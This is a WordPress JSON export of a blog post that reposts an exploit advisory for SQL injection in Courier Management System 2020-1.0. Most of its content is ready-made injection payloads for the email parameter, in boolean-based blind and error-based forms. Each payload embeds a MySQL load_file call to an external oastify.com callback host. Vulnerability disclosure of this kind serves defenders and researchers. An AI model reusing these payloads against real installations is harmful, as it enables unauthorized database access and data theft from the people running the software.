{"id":58812,"date":"2024-08-12T18:30:55","date_gmt":"2024-08-12T15:30:55","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180061\/cms202010-sql.txt"},"modified":"2024-08-12T18:30:55","modified_gmt":"2024-08-12T15:30:55","slug":"courier-management-system-2020-1-0-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/courier-management-system-2020-1-0-sql-injection\/","title":{"rendered":"Courier Management System 2020-1.0 SQL Injection"},"content":{"rendered":"<p>## Titles: courier-management-system-2020-1.0 Multiple-SQLi<br \/>## Author: nu11secur1ty<br \/>## Date: 08\/12\/2024<br \/>## Vendor: https:\/\/github.com\/oretnom23<br \/>## Software:<br \/>https:\/\/www.sourcecodester.com\/php\/14611\/courier-management-system-using-phpmysqli-source-code.html#comment-105424<br \/>## Reference: https:\/\/portswigger.net\/web-security\/sql-injection<\/p>\n<p>## Description:<br \/>The email parameter appears to be vulnerable to SQL injection attacks. The<br \/>payload &#8216;+(select load_file(&#8216;\\\\\\\\<br \/>031mhwgyu0ue8s63z9x3wjzn4ea7yymppdh07ow.oastify.com\\\\qpq&#8217;))+&#8217; was submitted<br \/>in the email parameter. This payload injects a SQL sub-query that calls<br \/>MySQL&#8217;s load_file function with a UNC file path that references a URL on an<br \/>external domain. The application interacted with that domain, indicating<br \/>that the injected SQL query was executed. The attacker can get all<br \/>information from the system by using this vulnerability!<\/p>\n<p>STATUS: HIGH- Vulnerability<\/p>\n[+]Exploits:<br \/>&#8211; SQLi Multiple:<br \/>&#8220;`mysql<br \/>&#8212;<br \/>Parameter: email (POST)<br \/>Type: boolean-based blind<br \/>Title: OR boolean-based blind &#8211; WHERE or HAVING clause (NOT)<br \/>Payload: email=xtyqLAHz@burpcollaborator.net&#8217;+(select load_file(&#8216;\\\\\\\\<br \/>031mhwgyu0ue8s63z9x3wjzn4ea7yymppdh07ow.oastify.com\\\\qpq&#8217;))+&#8221; OR NOT<br \/>3092=3092 OR &#8216;zgfp&#8217;=&#8217;bQHN&amp;password=d6I!n9y!D7<\/p>\n<p>Type: error-based<br \/>Title: MySQL &gt;= 5.0 AND error-based &#8211; WHERE, HAVING, ORDER BY or GROUP<br \/>BY clause (FLOOR)<br \/>Payload: email=xtyqLAHz@burpcollaborator.net&#8217;+(select load_file(&#8216;\\\\\\\\<br \/>031mhwgyu0ue8s63z9x3wjzn4ea7yymppdh07ow.oastify.com\\\\qpq&#8217;))+&#8221; AND (SELECT<br \/>8802 FROM(SELECT COUNT(*),CONCAT(0x71716b7871,(SELECT<br \/>(ELT(8802=8802,1))),0x7162706a71,FLOOR(RAND(0)*2))x FROM<br \/>INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) OR &#8216;dmho&#8217;=&#8217;XBTr&amp;password=d6I!n9y!D7<br \/>&#8212;<br \/>&#8220;`<\/p>\n<p>## Reproduce:<br \/>[href](https:\/\/www.patreon.com\/posts\/courier-system-1-109943338)<\/p>\n<p>## More:<br \/>[href](<br \/>https:\/\/www.nu11secur1ty.com\/2024\/08\/courier-management-system-2020-10.html)<\/p>\n<p>## Time spent:<br \/>01:00:00<\/p>\n","protected":false},"excerpt":{"rendered":"<p>## Titles: courier-management-system-2020-1.0 Multiple-SQLi## Author: nu11secur1ty## Date: 08\/12\/2024## Vendor: https:\/\/github.com\/oretnom23## Software:https:\/\/www.sourcecodester.com\/php\/14611\/courier-management-system-using-phpmysqli-source-code.html#comment-105424## Reference: https:\/\/portswigger.net\/web-security\/sql-injection ## Description:The email parameter appears to be vulnerable to SQL injection attacks. Thepayload &#8216;+(select load_file(&#8216;\\\\\\\\031mhwgyu0ue8s63z9x3wjzn4ea7yymppdh07ow.oastify.com\\\\qpq&#8217;))+&#8217; was submittedin the email parameter. This payload injects a SQL sub-query that callsMySQL&#8217;s load_file function with a UNC file path that references a URL on anexternal domain. &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58812","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58812","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58812"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58812\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58812"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58812"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58812"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}